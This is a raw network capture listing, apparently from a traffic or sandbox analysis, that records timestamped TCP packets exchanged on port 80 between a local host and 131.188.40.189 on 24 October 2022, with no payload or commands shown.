Oct 24, 2022 11:00:50.183995962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184012890 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184019089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184045076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184046030 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184068918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184089899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184106112 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184113979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184125900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184137106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184158087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184170008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184180021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184197903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184222937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184222937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184242010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184246063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184258938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184277058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184294939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184300900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184313059 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.184329987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.184350967 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.205655098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205691099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205710888 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205729961 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205748081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205766916 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205785990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205804110 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205861092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205883026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.205935955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.205976009 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206047058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206065893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206084013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206101894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206201077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206470966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206501007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206520081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206541061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206561089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206579924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206598997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206618071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206635952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206646919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206656933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206665993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206676960 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206691980 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206711054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206728935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206748962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206768990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206788063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206805944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206825018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206841946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206860065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206893921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206912041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206912994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206933022 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206952095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206957102 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.206970930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.206989050 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.207014084 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227256060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227291107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227313042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227332115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227350950 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227369070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227391005 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227390051 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227408886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227423906 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227427959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227446079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227466106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227473974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227485895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227494955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227505922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227524042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227529049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227550030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227570057 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227579117 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227588892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227607012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227612019 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227624893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227647066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227648973 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227663994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227684975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227689028 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227704048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227724075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227725983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227741957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227761030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227762938 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227780104 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227799892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227802038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227818966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227838039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227842093 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227855921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227874041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227880955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227891922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227910042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227917910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227927923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227946997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227956057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.227967024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227986097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.227992058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228003979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228022099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228037119 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228038073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228059053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228070021 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228076935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228097916 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228097916 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228116989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228136063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228138924 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228154898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228173018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228173018 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228192091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228209972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228220940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.228224039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.228288889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.248708963 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248763084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248796940 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248826027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248831034 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.248855114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248864889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.248886108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248907089 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.248914003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248939991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248950958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.248970032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.248996973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249006033 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249026060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249054909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249068022 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249083996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249111891 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249116898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249140978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249169111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249182940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249202013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249231100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249242067 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249258995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249288082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249295950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249316931 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249345064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249370098 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249373913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249403954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249409914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249433994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249463081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249469995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249491930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249520063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249526024 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249548912 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249578953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249582052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249605894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249634981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249645948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249664068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249692917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249701023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249722004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249749899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249758959 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249778986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249809027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249819040 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249839067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249869108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249882936 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249901056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249929905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249939919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.249959946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249989033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.249995947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.250019073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250049114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250065088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.250081062 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250108957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250123024 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.250137091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250165939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.250174999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.270632029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270682096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270713091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270742893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270785093 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.270819902 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.270831108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270860910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270898104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.270936012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270966053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.270989895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271009922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271039009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271065950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271095991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271140099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271142006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271169901 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271194935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271214008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271241903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271296024 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271301985 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271331072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271375895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271377087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271406889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271449089 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271449089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271476984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271518946 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271521091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271552086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271595955 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271601915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271635056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271657944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271696091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271723032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271724939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271742105 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271754026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271783113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271795988 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271809101 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271836996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271862030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271876097 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271898031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271903038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271924973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271954060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.271965027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.271980047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272008896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272026062 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.272036076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272062063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272089958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.272097111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272125006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272139072 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.272151947 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272180080 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.272191048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292620897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292666912 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292695999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292711020 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292726040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292753935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292754889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292783976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292812109 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292812109 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292840958 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292854071 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292870045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292897940 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292908907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292926073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292954922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.292967081 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.292983055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293011904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293019056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293040037 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293067932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293076038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293095112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293122053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293129921 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293154955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293176889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293196917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293206930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293236017 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293256998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293283939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293289900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293307066 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293312073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293339014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293356895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293365002 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293391943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293407917 CEST	49719	80	192.168.2.3	131.188.40.189
